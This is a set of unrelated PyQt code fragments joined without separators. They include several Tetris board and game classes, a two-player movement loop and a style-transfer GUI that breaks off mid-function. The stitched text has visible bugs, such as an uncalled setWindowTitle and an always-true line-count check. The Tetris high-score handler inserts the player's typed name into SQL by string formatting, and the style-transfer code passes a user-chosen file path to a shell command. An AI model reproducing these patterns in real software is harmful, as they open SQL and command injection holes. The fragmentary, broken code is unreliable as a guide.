class TetrixBoard(QFrame): BoardWidth = 10 BoardHeight = 22 scoreChanged = pyqtSignal(int) levelChanged = pyqtSignal(int) linesRemovedChanged = pyqtSignal(int) def __init__(self, parent=None): super(TetrixBoard, self).__init__(parent) self.timer = QBasicTimer() self.nextPieceLabel = None self.isWaitingAfterLine = False self.curPiece = TetrixPiece() self.nextPiece = TetrixPiece() self.curX = 0 self.curY = 0 self.numLinesRemoved = 0 self.numPiecesDropped = 0 self.score = 0 self.level = 0 self.board = None self.setFrameStyle(QFrame.Panel | QFrame.Sunken) self.setFocusPolicy(Qt.StrongFocus) self.isStarted = False self.isPaused = False self.clearBoard() self.nextPiece.setRandomShape() def shapeAt(self, x, y): return self.board[(y * TetrixBoard.BoardWidth) + x] def setShapeAt(self, x, y, shape): self.board[(y * TetrixBoard.BoardWidth) + x] = shape def timeoutTime(self): return 1000 / (1 + self.level) def squareWidth(self): return self.contentsRect().width() / TetrixBoard.BoardWidth def squareHeight(self): return self.contentsRect().height() / TetrixBoard.BoardHeight def setNextPieceLabel(self, label): self.nextPieceLabel = label def sizeHint(self): return QSize(TetrixBoard.BoardWidth * 15 + self.frameWidth() * 2, TetrixBoard.BoardHeight * 15 + self.frameWidth() * 2) def minimumSizeHint(self): return QSize(TetrixBoard.BoardWidth * 5 + self.frameWidth() * 2, TetrixBoard.BoardHeight * 5 + self.frameWidth() * 2) def start(self): if self.isPaused: return self.isStarted = True self.isWaitingAfterLine = False self.numLinesRemoved = 0 self.numPiecesDropped = 0 self.score = 0 self.level = 1 self.clearBoard() self.linesRemovedChanged.emit(self.numLinesRemoved) self.scoreChanged.emit(self.score) self.levelChanged.emit(self.level) self.newPiece() self.timer.start(self.timeoutTime(), self) def pause(self): if not self.isStarted: return self.isPaused = not self.isPaused if self.isPaused: self.timer.stop() else: self.timer.start(self.timeoutTime(), self) self.update() def paintEvent(self, event): super(TetrixBoard, self).paintEvent(event) painter = QPainter(self) rect = self.contentsRect() if self.isPaused: painter.drawText(rect, Qt.AlignCenter, "Pause") return boardTop = rect.bottom() - TetrixBoard.BoardHeight * self.squareHeight() for i in range(TetrixBoard.BoardHeight): for j in range(TetrixBoard.BoardWidth): shape = self.shapeAt(j, TetrixBoard.BoardHeight - i - 1) if shape != NoShape: self.drawSquare(painter, rect.left() + j * self.squareWidth(), boardTop + i * self.squareHeight(), shape) if self.curPiece.shape() != NoShape: for i in range(4): x = self.curX + self.curPiece.x(i) y = self.curY - self.curPiece.y(i) self.drawSquare(painter, rect.left() + x * self.squareWidth(), boardTop + (TetrixBoard.BoardHeight - y - 1) * self.squareHeight(), self.curPiece.shape()) def keyPressEvent(self, event): if not self.isStarted or self.isPaused or self.curPiece.shape() == NoShape: super(TetrixBoard, self).keyPressEvent(event) return key = event.key() if key == Qt.Key_Left: self.tryMove(self.curPiece, self.curX - 1, self.curY) elif key == Qt.Key_Right: self.tryMove(self.curPiece, self.curX + 1, self.curY) elif key == Qt.Key_Down: self.tryMove(self.curPiece.rotatedRight(), self.curX, self.curY) elif key == Qt.Key_Up: self.tryMove(self.curPiece.rotatedLeft(), self.curX, self.curY) elif key == Qt.Key_Space: self.dropDown() elif key == Qt.Key_D: self.oneLineDown() else: super(TetrixBoard, self).keyPressEvent(event) def timerEvent(self, event): if event.timerId() == self.timer.timerId(): if self.isWaitingAfterLine: self.isWaitingAfterLine = False self.newPiece() self.timer.start(self.timeoutTime(), self) else: self.oneLineDown() else: super(TetrixBoard, self).timerEvent(event) def clearBoard(self): self.board = [NoShape for i in range(TetrixBoard.BoardHeight * TetrixBoard.BoardWidth)] def dropDown(self): dropHeight = 0 newY = self.curY while newY > 0: if not self.tryMove(self.curPiece, self.curX, newY - 1): break newY -= 1 dropHeight += 1 self.pieceDropped(dropHeight) def oneLineDown(self): if not self.tryMove(self.curPiece, self.curX, self.curY - 1): self.pieceDropped(0) def pieceDropped(self, dropHeight): for i in range(4): x = self.curX + self.curPiece.x(i) y = self.curY - self.curPiece.y(i) self.setShapeAt(x, y, self.curPiece.shape()) self.numPiecesDropped += 1 if self.numPiecesDropped % 25 == 0: self.level += 1 self.timer.start(self.timeoutTime(), self) self.levelChanged.emit(self.level) self.score += dropHeight + 7 self.scoreChanged.emit(self.score) self.removeFullLines() if not self.isWaitingAfterLine: self.newPiece() def removeFullLines(self): numFullLines = 0 for i in range(TetrixBoard.BoardHeight - 1, -1, -1): lineIsFull = True for j in range(TetrixBoard.BoardWidth): if self.shapeAt(j, i) == NoShape: lineIsFull = False break if lineIsFull: numFullLines += 1 for k in range(TetrixBoard.BoardHeight - 1): for j in range(TetrixBoard.BoardWidth): self.setShapeAt(j, k, self.shapeAt(j, k + 1)) for j in range(TetrixBoard.BoardWidth): self.setShapeAt(j, TetrixBoard.BoardHeight - 1, NoShape) if numFullLines > 0: self.numLinesRemoved += numFullLines self.score += 10 * numFullLines self.linesRemovedChanged.emit(self.numLinesRemoved) self.scoreChanged.emit(self.score) self.timer.start(500, self) self.isWaitingAfterLine = True self.curPiece.setShape(NoShape) self.update() def newPiece(self): self.curPiece = copy.deepcopy(self.nextPiece) self.nextPiece.setRandomShape() self.showNextPiece() self.curX = TetrixBoard.BoardWidth // 2 + 1 self.curY = TetrixBoard.BoardHeight - 1 + self.curPiece.minY() if not self.tryMove(self.curPiece, self.curX, self.curY): self.curPiece.setShape(NoShape) self.timer.stop() self.isStarted = False def showNextPiece(self): if self.nextPieceLabel is None: return dx = self.nextPiece.maxX() - self.nextPiece.minX() + 1 dy = self.nextPiece.maxY() - self.nextPiece.minY() + 1 pixmap = QPixmap(dx * self.squareWidth(), dy * self.squareHeight()) painter = QPainter(pixmap) painter.fillRect(pixmap.rect(), self.nextPieceLabel.palette().window()) for i in range(4): x = self.nextPiece.x(i) - self.nextPiece.minX() y = self.nextPiece.y(i) - self.nextPiece.minY() self.drawSquare(painter, x * self.squareWidth(), y * self.squareHeight(), self.nextPiece.shape()) painter.end() self.nextPieceLabel.setPixmap(pixmap) def tryMove(self, newPiece, newX, newY): for i in range(4): x = newX + newPiece.x(i) y = newY - newPiece.y(i) if x < 0 or x >= TetrixBoard.BoardWidth or y < 0 or y >= TetrixBoard.BoardHeight: return False if self.shapeAt(x, y) != NoShape: return False self.curPiece = newPiece self.curX = newX self.curY = newY self.update() return True def drawSquare(self, painter, x, y, shape): colorTable = [0x000000, 0xCC6666, 0x66CC66, 0x6666CC, 0xCCCC66, 0xCC66CC, 0x66CCCC, 0xDAAA00] color = QColor(colorTable[shape]) painter.fillRect(x + 1, y + 1, self.squareWidth() - 2, self.squareHeight() - 2, color) painter.setPen(color.lighter()) painter.drawLine(x, y + self.squareHeight() - 1, x, y) painter.drawLine(x, y, x + self.squareWidth() - 1, y) painter.setPen(color.darker()) painter.drawLine(x + 1, y + self.squareHeight() - 1, x + self.squareWidth() - 1, y + self.squareHeight() - 1) painter.drawLine(x + self.squareWidth() - 1, y + self.squareHeight() - 1, x + self.squareWidth() - 1, y + 1)
class Board(QFrame): msg2Statusbar = pyqtSignal(str) BoardWidth = 10 BoardHeight = 22 Speed = 300 def __init__(self, parent): super().__init__(parent) self.initBoard() def initBoard(self): self.timer = QBasicTimer() self.isWaitingAfterLine = False self.curX = 0 self.curY = 0 self.numLinesRemoved = 0 self.board = [] self.setFocusPolicy(Qt.StrongFocus) self.isStarted = False self.isPaused = False self.clearBoard() def shapeAt(self, x, y): return self.board[(y * Board.BoardWidth) + x] def setShapeAt(self, x, y, shape): self.board[(y * Board.BoardWidth) + x] = shape def squareWidth(self): return self.contentsRect().width() // Board.BoardWidth def squareHeight(self): return self.contentsRect().height() // Board.BoardHeight def start(self): if self.isPaused: return self.isStarted = True self.isWaitingAfterLine = False self.numLinesRemoved = 0 self.clearBoard() self.msg2Statusbar.emit(str(self.numLinesRemoved)) self.newPiece() self.timer.start(Board.Speed, self) def pause(self): if not self.isStarted: return self.isPaused = not self.isPaused if self.isPaused: self.timer.stop() self.msg2Statusbar.emit("paused") else: self.timer.start(Board.Speed, self) self.msg2Statusbar.emit(str(self.numLinesRemoved)) self.update() def paintEvent(self, event): painter = QPainter(self) rect = self.contentsRect() boardTop = rect.bottom( ) - Board.BoardHeight * self.squareHeight() for i in range(Board.BoardHeight): for j in range(Board.BoardWidth): shape = self.shapeAt(j, Board.BoardHeight - i - 1) if shape != Tetrominoe.NoShape: self.drawSquare( painter, rect.left() + j * self.squareWidth(), boardTop + i * self.squareHeight(), shape) if self.curPiece.shape() != Tetrominoe.NoShape: for i in range(4): x = self.curX + self.curPiece.x(i) y = self.curY - self.curPiece.y(i) self.drawSquare( painter, rect.left() + x * self.squareWidth(), boardTop + (Board.BoardHeight - y - 1) * self.squareHeight(), self.curPiece.shape()) def keyPressEvent(self, event): if not self.isStarted or self.curPiece.shape( ) == Tetrominoe.NoShape: super(Board, self).keyPressEvent(event) return key = event.key() if key == Qt.Key_P: self.pause() return if self.isPaused: return elif key == Qt.Key_Left: self.tryMove(self.curPiece, self.curX - 1, self.curY) elif key == Qt.Key_Right: self.tryMove(self.curPiece, self.curX + 1, self.curY) elif key == Qt.Key_Down: self.tryMove(self.curPiece.rotateRight(), self.curX, self.curY) elif key == Qt.Key_Up: self.tryMove(self.curPiece.rotateLeft(), self.curX, self.curY) elif key == Qt.Key_Space: self.dropDown() elif key == Qt.Key_D: self.oneLineDown() else: super(Board, self).keyPressEvent(event) def timerEvent(self, event): if event.timerId() == self.timer.timerId(): if self.isWaitingAfterLine: self.isWaitingAfterLine = False self.newPiece() else: self.oneLineDown() else: super(Board, self).timerEvent(event) def clearBoard(self): for i in range(Board.BoardHeight * Board.BoardWidth): self.board.append(Tetrominoe.NoShape) def dropDown(self): newY = self.curY while newY > 0: if not self.tryMove(self.curPiece, self.curX, newY - 1): break newY -= 1 self.pieceDropped() def oneLineDown(self): if not self.tryMove(self.curPiece, self.curX, self.curY - 1): self.pieceDropped() def pieceDropped(self): for i in range(4): x = self.curX + self.curPiece.x(i) y = self.curY - self.curPiece.y(i) self.setShapeAt(x, y, self.curPiece.shape()) self.removeFullLines() if not self.isWaitingAfterLine: self.newPiece() def removeFullLines(self): numFullLines = 0 rowsToRemove = [] for i in range(Board.BoardHeight): n = 0 for j in range(Board.BoardWidth): if not self.shapeAt(j, i) == Tetrominoe.NoShape: n = n + 1 if n == 10: rowsToRemove.append(i) rowsToRemove.reverse() for m in rowsToRemove: for k in range(m, Board.BoardHeight): for l in range(Board.BoardWidth): self.setShapeAt(l, k, self.shapeAt(l, k + 1)) numFullLines = numFullLines + len(rowsToRemove) if numFullLines >= 0: self.numLinesRemoved = self.numLinesRemoved + numFullLines self.ourScore = self.numLinesRemoved * 100 self.msg2Statusbar.emit(str(self.ourScore)) self.isWaitingAfterLine = True self.curPiece.setShape(Tetrominoe.NoShape) self.update() def newPiece(self): self.curPiece = Shape() self.curPiece.setRandomShape() self.curX = Board.BoardWidth // 2 + 1 self.curY = Board.BoardHeight - 1 + self.curPiece.minY() if not self.tryMove(self.curPiece, self.curX, self.curY): self.curPiece.setShape(Tetrominoe.NoShape) self.timer.stop() self.isStarted = False self.msg2Statusbar.emit("Игра окончена") root = Tk() root.geometry("400x400") root.title("Игра окончена") v = StringVar() text1 = Label(width=50, height=2, font='Arial 12', text="Игра окончена, вы заработали " + str(self.ourScore) + " очков.") text2 = Label(width=50, height=2, font='Arial 12', text="Пожалуйста укажите свое имя:") mylogin = Entry(textvariable=v, width=30) button1 = Button( width=30, height=5, text="Сохранить результат", font='Arial 12', command=lambda: login(mylogin.get(), self.ourScore)) button2 = Button(width=30, height=5, text="Выйти без сохранения", font='Arial 12', command=lambda: closing()) text1.pack(side=TOP) text2.pack(side=TOP) mylogin.pack(side=TOP) button1.pack(side=TOP) button2.pack(side=TOP) def login(username, userscore): c.execute( "INSERT INTO records (name,score) VALUES ('%s','%s')" % (str(username), userscore)) conn.commit() messagebox.showinfo("Сохранение", "Ваш результат успешно сохранен.") c.close() conn.close() sys.exit() def closing(): if messagebox.askokcancel( "Выход", "Вы действительно хотите выйти?"): root.destroy() sys.exit() root.protocol("WM_DELETE_WINDOW", closing) root.mainloop() def tryMove(self, newPiece, newX, newY): for i in range(4): x = newX + newPiece.x(i) y = newY - newPiece.y(i) if x < 0 or x >= Board.BoardWidth or y < 0 or y >= Board.BoardHeight: return False if self.shapeAt(x, y) != Tetrominoe.NoShape: return False self.curPiece = newPiece self.curX = newX self.curY = newY self.update() return True def drawSquare(self, painter, x, y, shape): colorTable = [ 0x000000, 0xCC6666, 0x66CC66, 0x6666CC, 0xCCCC66, 0xCC66CC, 0x66CCCC, 0xDAAA00 ] color = QColor(colorTable[shape]) painter.fillRect(x + 1, y + 1, self.squareWidth() - 2, self.squareHeight() - 2, color) painter.setPen(color.lighter()) painter.drawLine(x, y + self.squareHeight() - 1, x, y) painter.drawLine(x, y, x + self.squareWidth() - 1, y) painter.setPen(color.darker()) painter.drawLine(x + 1, y + self.squareHeight() - 1, x + self.squareWidth() - 1, y + self.squareHeight() - 1) painter.drawLine(x + self.squareWidth() - 1, y + self.squareHeight() - 1, x + self.squareWidth() - 1, y + 1)
class TetrisGame(QMainWindow): def __init__(self): super().__init__() # 是否暂停ing self.is_paused = False # 是否开始ing self.is_started = False self.initUI() '''界面初始化''' def initUI(self): # 块大小 self.grid_size = 22 # 游戏帧率 self.fps = 100 self.timer = QBasicTimer() # 焦点 self.setFocusPolicy(Qt.StrongFocus) # 水平布局 layout_horizontal = QHBoxLayout() self.inner_board = InnerBoard() self.external_board = ExternalBoard(self, self.grid_size, self.inner_board) layout_horizontal.addWidget(self.external_board) self.side_panel = SidePanel(self, self.grid_size, self.inner_board) layout_horizontal.addWidget(self.side_panel) self.status_bar = self.statusBar() self.external_board.score_signal[str].connect(self.status_bar.showMessage) self.start() self.center() self.setWindowTitle('Tetris-公众号:Charles的皮卡丘') self.show() self.setFixedSize(self.external_board.width() + self.side_panel.width(), self.side_panel.height() + self.status_bar.height()) # AI控制 self.tetris_ai = TetrisAI(self.inner_board) self.next_action = None self.pre_tetris = tetrisShape().shape_empty '''游戏界面移动到屏幕中间''' def center(self): screen = QDesktopWidget().screenGeometry() size = self.geometry() self.move((screen.width() - size.width()) // 2, (screen.height() - size.height()) // 2) '''更新界面''' def updateWindow(self): self.external_board.updateData() self.side_panel.updateData() self.update() '''开始''' def start(self): if self.is_started: return self.is_started = True self.inner_board.createNewTetris() self.timer.start(self.fps, self) '''暂停/不暂停''' def pause(self): if not self.is_started: return self.is_paused = not self.is_paused if self.is_paused: self.timer.stop() self.external_board.score_signal.emit('Paused') else: self.timer.start(self.fps, self) self.updateWindow() '''计时器事件''' def timerEvent(self, event): if event.timerId() == self.timer.timerId(): if not self.next_action: self.next_action = self.tetris_ai.getNextAction() if self.next_action: while self.inner_board.current_direction != self.next_action[0]: self.inner_board.rotateAnticlockwise() count = 0 while self.inner_board.current_coord[0] != self.next_action[1] and count < 5: if self.inner_board.current_coord[0] > self.next_action[1]: self.inner_board.moveLeft() else: self.inner_board.moveRight() count += 1 removed_lines = self.inner_board.moveDown() self.external_board.score += removed_lines if self.pre_tetris != self.inner_board.current_tetris: self.next_action = None self.pre_tetris = self.inner_board.current_tetris self.updateWindow() else: super(TetrisGame, self).timerEvent(event) '''按键事件''' def keyPressEvent(self, event): if not self.is_started or self.inner_board.current_tetris == tetrisShape().shape_empty: super(TetrisGame, self).keyPressEvent(event) return key = event.key() # P键暂停 if key == Qt.Key_P: self.pause() return if self.is_paused: return else: super(TetrisGame, self).keyPressEvent(event) self.updateWindow()
def calculatePositions(q: Queue, qResp: Queue): responseMsg = '' PositionXP1 = 50 PositionXP2 = 700 Weapon1Y = WINDOWHEIGHT - 80 Weapon2Y = WINDOWHEIGHT - 80 Player1Orientation = 'normal' Player2Orientation = 'normal' timer = QBasicTimer() while True: weaponInfo = '#' if not q.empty(): rez = str(q.get()) if rez == '1': responseMsg = str(WINDOWWIDTH / 2) + ',' + Player1Orientation PositionXP1 = int(responseMsg) elif rez == '2': #responseMsg = '50,700,' + Player1Orientation + ',' + Player2Orientation PositionXP1 = 50 PositionXP2 = 700 elif rez == '3': #responseMsg = '50,700,' + Player1Orientation + ',' + Player2Orientation PositionXP1 = 50 PositionXP2 = 700 else: if int(rez) == Qt.Key_Right: Player1Orientation = 'right' if PositionXP1 + PLAYER_SIZE < WINDOWWIDTH - 13: PositionXP1 += 5 #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation if int(rez) == Qt.Key_Left: Player1Orientation = 'left' if PositionXP1 - 5 > 20: PositionXP1 -= 5 #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation if int(rez) == Qt.Key_Space: weaponInfo += '1,' + str(PositionXP1) #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation if int(rez) == Qt.Key_A: Player2Orientation = 'left' if PositionXP2 - 5 > 20: PositionXP2 -= 5 #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation if int(rez) == Qt.Key_D: Player2Orientation = 'right' if PositionXP2 + PLAYER_SIZE < WINDOWWIDTH - 13: PositionXP2 += 5 #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation if int(rez) == Qt.Key_Shift: weaponInfo += '2,' + str(PositionXP2) if int(rez) == Qt.Key_Minus: PositionXP1 = 50 PositionXP2 = 700 Player1Orientation = 'normal' Player2Orientation = 'normal' #responseMsg = str(PositionXP1) + ',' + str(PositionXP2) + ',' + Player1Orientation + ',' + Player2Orientation #s.Weapon1, Weapon1Y, s.Weapon2, Weapon2Y = updateWeapons(s.Weapon1, s.Weapon2, Weapon1Y, Weapon2Y) responseMsg = str(PositionXP1) + ',' + str( PositionXP2 ) + ',' + Player1Orientation + ',' + Player2Orientation + weaponInfo #responseMsg += ',' + str(s.w1X) + ',' + str(s.w1Y) + ',' + str(s.w2X) + ',' + str(s.w2Y) qResp.put(responseMsg) else: #s.Weapon1, Weapon1Y, s.Weapon2, Weapon2Y = updateWeapons(s.Weapon1, s.Weapon2, Weapon1Y, Weapon2Y) responseMsg = str(PositionXP1) + ',' + str( PositionXP2 ) + ',' + Player1Orientation + ',' + Player2Orientation + weaponInfo #responseMsg += ',' + str(s.w1X) + ',' + str(s.w1Y) + ',' + str(s.w2X) + ',' + str(s.w2Y) qResp.put(responseMsg) time.sleep(0.032)
class TetrisGame(QMainWindow): def __init__(self): super().__init__() # 정지ing self.is_paused = False # 시작ing self.is_started = False self.initUI() '''인터페이스 초기화''' def initUI(self): # 테트리스 크기 self.grid_size = 22 # 게임 프레임률 self.fps = 100 self.timer = QBasicTimer() # 초점 self.setFocusPolicy(Qt.StrongFocus) # 수평 배치 layout_horizontal = QHBoxLayout() self.inner_board = InnerBoard() self.external_board = ExternalBoard(self, self.grid_size, self.inner_board) layout_horizontal.addWidget(self.external_board) self.side_panel = SidePanel(self, self.grid_size, self.inner_board) layout_horizontal.addWidget(self.side_panel) self.status_bar = self.statusBar() self.external_board.score_signal[str].connect( self.status_bar.showMessage) self.start() self.center() self.setWindowTitle self.show() self.setFixedSize( self.external_board.width() + self.side_panel.width(), self.side_panel.height() + self.status_bar.height()) # AI 제어 self.tetris_ai = TetrisAI(self.inner_board) self.next_action = None self.pre_tetris = tetrisShape().shape_empty '''게임 인터페이스가 화면 가운데로 이동''' def center(self): screen = QDesktopWidget().screenGeometry() size = self.geometry() self.move((screen.width() - size.width()) // 2, (screen.height() - size.height()) // 2) '''업데이트 인터페이스''' def updateWindow(self): self.external_board.updateData() self.side_panel.updateData() self.update() '''시작''' def start(self): if self.is_started: return self.is_started = True self.inner_board.createNewTetris() self.timer.start(self.fps, self) '''일시정지/무정지''' def pause(self): if not self.is_started: return self.is_paused = not self.is_paused if self.is_paused: self.timer.stop() self.external_board.score_signal.emit('Paused') else: self.timer.start(self.fps, self) self.updateWindow() '''크로노그래프 사건''' def timerEvent(self, event): if event.timerId() == self.timer.timerId(): if not self.next_action: self.next_action = self.tetris_ai.getNextAction() if self.next_action: while self.inner_board.current_direction != self.next_action[0]: self.inner_board.rotateAnticlockwise() count = 0 while self.inner_board.current_coord[0] != self.next_action[ 1] and count < 5: if self.inner_board.current_coord[0] > self.next_action[1]: self.inner_board.moveLeft() else: self.inner_board.moveRight() count += 1 removed_lines = self.inner_board.moveDown() self.external_board.score += removed_lines if self.pre_tetris != self.inner_board.current_tetris: self.next_action = None self.pre_tetris = self.inner_board.current_tetris self.updateWindow() else: super(TetrisGame, self).timerEvent(event) '''버튼 ''' def keyPressEvent(self, event): if not self.is_started or self.inner_board.current_tetris == tetrisShape( ).shape_empty: super(TetrisGame, self).keyPressEvent(event) return key = event.key() # P 키 타임 if key == Qt.Key_P: self.pause() return if self.is_paused: return else: super(TetrisGame, self).keyPressEvent(event) self.updateWindow()
class Board(QFrame): msg2Statusbar = pyqtSignal(str) BoardWidth = 10 BoardHeight = 22 Speed = 300 def __init__(self, parent): super().__init__(parent) self.initBoard() def initBoard(self): self.timer = QBasicTimer() self.isWaitingAfterLine = False self.curX = 0 self.curY = 0 self.numLinesRemoved = 0 self.board = [] self.setFocusPolicy(Qt.StrongFocus) self.isStarted = False self.isPaused = False self.clearBoard() def shapeAt(self, x, y): return self.board[(y * Board.BoardWidth) + x] def setShapeAt(self, x, y, shape): self.board[(y * Board.BoardWidth) + x] = shape def squareWidth(self): return self.contentsRect().width() // Board.BoardWidth def squareHeight(self): return self.contentsRect().height() // Board.BoardHeight def start(self): if self.isPaused: return self.isStarted = True self.isWaitingAfterLine = False self.numLinesRemoved = 0 self.clearBoard() self.msg2Statusbar.emit(str(self.numLinesRemoved)) self.newPiece() self.timer.start(Board.Speed, self) def pause(self): if not self.isStarted: return self.isPaused = not self.isPaused if self.isPaused: self.timer.stop() self.msg2Statusbar.emit("paused") else: self.timer.start(Board.Speed, self) self.msg2Statusbar.emit(str(self.numLinesRemoved)) self.update() def paintEvent(self, event): painter = QPainter(self) rect = self.contentsRect() boardTop = rect.bottom() - Board.BoardHeight * self.squareHeight() for i in range(Board.BoardHeight): for j in range(Board.BoardWidth): shape = self.shapeAt(j, Board.BoardHeight - i - 1) if shape != Tetrominoe.NoShape: self.drawSquare(painter, rect.left() + j * self.squareWidth(), boardTop + i * self.squareHeight(), shape) if self.curPiece.shape() != Tetrominoe.NoShape: for i in range(4): x = self.curX + self.curPiece.x(i) y = self.curY - self.curPiece.y(i) self.drawSquare(painter, rect.left() + x * self.squareWidth(), boardTop + (Board.BoardHeight - y - 1) * self.squareHeight(), self.curPiece.shape()) def keyPressEvent(self, event): if not self.isStarted or self.curPiece.shape() == Tetrominoe.NoShape: super(Board, self).keyPressEvent(event) return key = event.key() if key == Qt.Key_P: self.pause() return if self.isPaused: return elif key == Qt.Key_Left: self.tryMove(self.curPiece, self.curX - 1, self.curY) elif key == Qt.Key_Right: self.tryMove(self.curPiece, self.curX + 1, self.curY) elif key == Qt.Key_Down: self.tryMove(self.curPiece.rotateRight(), self.curX, self.curY) elif key == Qt.Key_Up: self.tryMove(self.curPiece.rotateLeft(), self.curX, self.curY) elif key == Qt.Key_Space: self.dropDown() elif key == Qt.Key_D: self.oneLineDown() else: super(Board, self).keyPressEvent(event) def timerEvent(self, event): if event.timerId() == self.timer.timerId(): if self.isWaitingAfterLine: self.isWaitingAfterLine = False self.newPiece() else: self.oneLineDown() else: super(Board, self).timerEvent(event) def clearBoard(self): for i in range(Board.BoardHeight * Board.BoardWidth): self.board.append(Tetrominoe.NoShape) def dropDown(self): newY = self.curY while newY > 0: if not self.tryMove(self.curPiece, self.curX, newY - 1): break newY -= 1 self.pieceDropped() def oneLineDown(self): if not self.tryMove(self.curPiece, self.curX, self.curY - 1): self.pieceDropped() def pieceDropped(self): for i in range(4): x = self.curX + self.curPiece.x(i) y = self.curY - self.curPiece.y(i) self.setShapeAt(x, y, self.curPiece.shape()) self.removeFullLines() if not self.isWaitingAfterLine: self.newPiece() def removeFullLines(self): numFullLines = 0 rowsToRemove = [] for i in range(Board.BoardHeight): n = 0 for j in range(Board.BoardWidth): if not self.shapeAt(j, i) == Tetrominoe.NoShape: n = n + 1 if n == 10: rowsToRemove.append(i) rowsToRemove.reverse() for m in rowsToRemove: for k in range(m, Board.BoardHeight): for l in range(Board.BoardWidth): self.setShapeAt(l, k, self.shapeAt(l, k + 1)) numFullLines = numFullLines + len(rowsToRemove) if numFullLines > 0: self.numLinesRemoved = self.numLinesRemoved + numFullLines self.msg2Statusbar.emit(str(self.numLinesRemoved)) self.isWaitingAfterLine = True self.curPiece.setShape(Tetrominoe.NoShape) self.update() def newPiece(self): self.curPiece = Shape() self.curPiece.setRandomShape() self.curX = Board.BoardWidth // 2 + 1 self.curY = Board.BoardHeight - 1 + self.curPiece.minY() if not self.tryMove(self.curPiece, self.curX, self.curY): self.curPiece.setShape(Tetrominoe.NoShape) self.timer.stop() self.isStarted = False self.msg2Statusbar.emit("Game over") def tryMove(self, newPiece, newX, newY): for i in range(4): x = newX + newPiece.x(i) y = newY - newPiece.y(i) if x < 0 or x >= Board.BoardWidth or y < 0 or y >= Board.BoardHeight: return False if self.shapeAt(x, y) != Tetrominoe.NoShape: return False self.curPiece = newPiece self.curX = newX self.curY = newY self.update() return True def drawSquare(self, painter, x, y, shape): colorTable = [0x000000, 0xCC6666, 0x66CC66, 0x6666CC, 0xCCCC66, 0xCC66CC, 0x66CCCC, 0xDAAA00] color = QColor(colorTable[shape]) painter.fillRect(x + 1, y + 1, self.squareWidth() - 2, self.squareHeight() - 2, color) painter.setPen(color.lighter()) painter.drawLine(x, y + self.squareHeight() - 1, x, y) painter.drawLine(x, y, x + self.squareWidth() - 1, y) painter.setPen(color.darker()) painter.drawLine(x + 1, y + self.squareHeight() - 1, x + self.squareWidth() - 1, y + self.squareHeight() - 1) painter.drawLine(x + self.squareWidth() - 1, y + self.squareHeight() - 1, x + self.squareWidth() - 1, y + 1)
class myPreDefined(QWidget): def __init__(self): super(QWidget, self).__init__() self.style = [ "style1", "style2", "style3", "style4", "style5", "style6", "style7", "style8", "style9" ] self.picPath = [ "pics/style1.jpg", "pics/style2.jpg", "pics/style3.jpg", "pics/style4.jpg", "pics/style5.jpg", "pics/style6.jpg", "pics/style7.jpg", "pics/style8.jpg", "pics/style9.jpg" ] self.stylePath = [ "pretrained_model/style1", "pretrained_model/style2", "pretrained_model/style3", "pretrained_model/style4", "pretrained_model/style5", "pretrained_model/style6", "pretrained_model/style7", "pretrained_model/style8", "pretrained_model/style9" ] self.nStyle = len(self.style) self.initUI() def initUI(self): self.inputPic = myImageViewer("pics/default.png", 400, 300) self.outputPic = myImageResult("pics/default_null.png", 400, 300) self.defaultInpath = self.inputPic.getImagePath() self.VBoxGroups = [] for i in range(self.nStyle): self.VBoxGroups.append( preStyle(self, i + 1, self.style[i], self.picPath[i], 200, 200)) self.HBoxGroupScroll = QGroupBox() self.HBox1 = QHBoxLayout() self.HBox1.addStretch(1) for group in self.VBoxGroups: self.HBox1.addWidget(group) self.HBox1.addStretch(1) self.HBoxGroupScroll.setLayout(self.HBox1) self.transButton = QPushButton('Transfer') self.transButton.setFixedSize(80, 20) self.transButton.clicked.connect(self.transfer) self.shareButton = QPushButton('Share') self.shareButton.setFixedSize(80, 20) self.shareButton.clicked.connect(self.share) self.shareButton.setDisabled(True) self.timer = QBasicTimer() self.step = 0 self.HBoxGroupButton = QGroupBox() self.HBoxButton = QHBoxLayout() self.HBoxButton.addStretch(1) self.HBoxButton.addWidget(self.transButton) self.HBoxButton.addStretch(1) self.HBoxButton.addWidget(self.shareButton) self.HBoxButton.addStretch(1) self.HBoxGroupButton.setLayout(self.HBoxButton) self.progBar = QProgressBar() self.progBar.setFixedSize(500, 10) self.HBoxGroupBar = QGroupBox() self.HBoxBar = QHBoxLayout() self.HBoxBar.addStretch(1) self.HBoxBar.addWidget(self.progBar) self.HBoxBar.addStretch(1) self.HBoxGroupBar.setLayout(self.HBoxBar) self.scroll = QScrollArea() self.scroll.setWidget(self.HBoxGroupScroll) self.scroll.setAutoFillBackground(True) self.scroll.setWidgetResizable(True) #self.HBoxGroupUp = QGroupBox() #self.HBoxUp = QHBoxLayout() #self.HBoxUp.addWidget(self.scroll) #self.HBoxGroupUp.setLayout(self.HBoxUp) self.HBoxGroupDown = QGroupBox() self.HBox2 = QHBoxLayout() self.HBox2.addStretch(1) self.HBox2.addWidget(self.inputPic) self.HBox2.addStretch(1) self.HBox2.addWidget(self.outputPic) self.HBox2.addStretch(1) self.HBoxGroupDown.setLayout(self.HBox2) self.VBox = QVBoxLayout() self.VBox.addStretch(1) self.VBox.addWidget(self.scroll) self.VBox.addStretch(1) self.VBox.addWidget(self.HBoxGroupBar) self.VBox.addStretch(1) self.VBox.addWidget(self.HBoxGroupDown) self.VBox.addStretch(1) self.VBox.addWidget(self.HBoxGroupButton) self.VBox.addStretch(1) self.setLayout(self.VBox) def transfer(self): global flag if flag == 0: reply = QMessageBox.warning(self, "ERROR", "Please choose a style!", QMessageBox.Ok, QMessageBox.Ok) return if self.inputPic.getImagePath() == self.defaultInpath: reply = QMessageBox.warning(self, "ERROR", "Please choose a input image!", QMessageBox.Ok, QMessageBox.Ok) return if not self.timer.isActive(): self.inpath = self.inputPic.getImagePath() self.outpath = "result/result.jpg" self.style = self.stylePath[flag - 1] self.shareButton.setDisabled(True) self.timer.start(100, self) self.ps = subprocess.Popen("python3 eval_pretrained.py " + self.inpath + " " + self.outpath + " " + self.style, shell=True) def timerEvent(self, a): if self.step >= 100: self.timer.stop() self.shareButton.setDisabled(False) self.step = 0 return 